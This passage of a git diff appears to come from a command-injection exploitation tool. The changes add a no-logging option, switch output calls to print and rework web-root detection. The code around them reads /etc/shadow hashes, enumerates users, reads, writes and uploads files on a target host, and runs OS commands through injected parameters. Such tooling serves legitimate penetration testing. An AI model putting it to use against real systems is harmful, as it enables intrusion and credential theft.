- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -435,7 +447,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -496,7 +509,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -508,7 +522,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
@@ -518,7 +533,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -532,6 +548,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
+ info_msg = "Executing '" + cmd + "' command."
+ print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -550,10 +568,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
- logs.print_logs_notification(filename, url)
else:
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index 6dc0a3a9c6..087b629f8d 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -62,15 +62,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
@@ -79,8 +79,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
raise SystemExit()
if os.path.isfile(file_to_write):
@@ -89,11 +88,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
- content = base64.b64encode(content)
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
@@ -140,20 +138,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
+ #if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The " + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + " file was created successfully!" + "\n"
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
-
+ warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
@@ -169,13 +162,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
@@ -203,14 +196,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The " + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 64733ad09b..cff3eb9ab8 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -357,7 +357,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
# if not menu.enumeration_options():
# print(settings.SINGLE_WHITESPACE)
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- print(settings.SINGLE_WHITESPACE)
+ # print(settings.SINGLE_WHITESPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index c10a02e45b..5f39cefc13 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -61,8 +61,9 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
@@ -94,8 +95,9 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -157,9 +159,10 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -201,8 +204,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account)
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
@@ -211,14 +215,16 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
# if settings.VERBOSITY_LEVEL != 0:
@@ -228,8 +234,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
@@ -279,7 +286,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -310,7 +318,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -352,7 +361,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -367,7 +377,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -406,7 +417,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -416,7 +428,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -475,7 +488,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -487,7 +501,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
@@ -497,7 +512,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -511,6 +527,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
+ info_msg = "Executing '" + cmd + "' command."
+ print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
@@ -526,10 +544,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
- logs.print_logs_notification(filename, url)
else:
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 94c3ff40af..7de75b13f1 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -57,15 +57,15 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
sys.stdout.write(settings.print_bold_info_msg(info_msg))
print(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
@@ -74,8 +74,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
raise SystemExit()
if os.path.isfile(file_to_write):
@@ -84,11 +83,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
- content = base64.b64encode(content)
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
@@ -134,17 +132,15 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
+ #if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The " + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + " file was created successfully!" + "\n"
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
@@ -160,13 +156,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
@@ -191,18 +187,15 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL != 0:
+ print(settings.SINGLE_WHITESPACE)
if shell:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The " + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to "
- warn_msg += "write the '" + dest_to_upload + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ print(settings.print_warning_msg(warn_msg))
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index acd9d990d1..b867d015f8 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -111,56 +111,56 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
+ # else:
+ if menu.options.web_root:
+ settings.WEB_ROOT = menu.options.web_root
else:
- if menu.options.web_root:
- settings.WEB_ROOT = menu.options.web_root
- else:
- # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
- if "apache" in settings.SERVER_BANNER.lower():
- if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
- try:
- check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
- if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
- # Add "/html" to servers root directory
- settings.WEB_ROOT = settings.WEB_ROOT + "/html"
- else:
- settings.WEB_ROOT = settings.WEB_ROOT
- except IndexError:
- pass
- # Add "/html" to servers root directory
- elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
- settings.WEB_ROOT = settings.WEB_ROOT + "/html"
- else:
- pass
- # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
- elif "nginx" in settings.SERVER_BANNER.lower():
+ # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
+ if "apache" in settings.SERVER_BANNER.lower():
+ if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
- if check_version[0] >= "1.2.4":
+ if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.WEB_ROOT = settings.WEB_ROOT + "/html"
else:
- # Add "/www" to servers root directory
- settings.WEB_ROOT = settings.WEB_ROOT + "/www"
+ settings.WEB_ROOT = settings.WEB_ROOT
except IndexError:
pass
- elif "microsoft-iis" in settings.SERVER_BANNER.lower():
- pass
+ # Add "/html" to servers root directory
+ elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
+ settings.WEB_ROOT = settings.WEB_ROOT + "/html"
else:
- # Provide custom server's root directory.
- custom_web_root(url, timesec, filename, http_request_method, url_time_response)
-
- path = _urllib.parse.urlparse(url).path
- path_parts = path.split('/')
- count = 0
- for part in path_parts:
- count = count + 1
- count = count - 1
- last_param = path_parts[count]
- EXTRA_DIR = path.replace(last_param, "")
- settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR
- if settings.TARGET_OS == "win":
- settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\")
+ pass
+ # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
+ elif "nginx" in settings.SERVER_BANNER.lower():
+ try:
+ check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
+ if check_version[0] >= "1.2.4":
+ # Add "/html" to servers root directory
+ settings.WEB_ROOT = settings.WEB_ROOT + "/html"
+ else:
+ # Add "/www" to servers root directory
+ settings.WEB_ROOT = settings.WEB_ROOT + "/www"
+ except IndexError:
+ pass
+ elif "microsoft-iis" in settings.SERVER_BANNER.lower():
+ pass
+ else:
+ # Provide custom server's root directory.
+ custom_web_root(url, timesec, filename, http_request_method, url_time_response)
+
+ path = _urllib.parse.urlparse(url).path
+ path_parts = path.split('/')
+ count = 0
+ for part in path_parts:
+ count = count + 1
+ count = count - 1
+ last_param = path_parts[count]
+ EXTRA_DIR = path.replace(last_param, "")
+ settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR
+ if settings.TARGET_OS == "win":
+ settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\")
return tmp_path
@@ -571,7 +571,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# if not menu.enumeration_options():
# print(settings.SINGLE_WHITESPACE)
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- print(settings.SINGLE_WHITESPACE)
+ # print(settings.SINGLE_WHITESPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
@@ -580,7 +580,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- raise SystemExit()
try:
# Pseudo-Terminal shell
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index e2ef149453..0307f698a5 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -59,8 +59,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
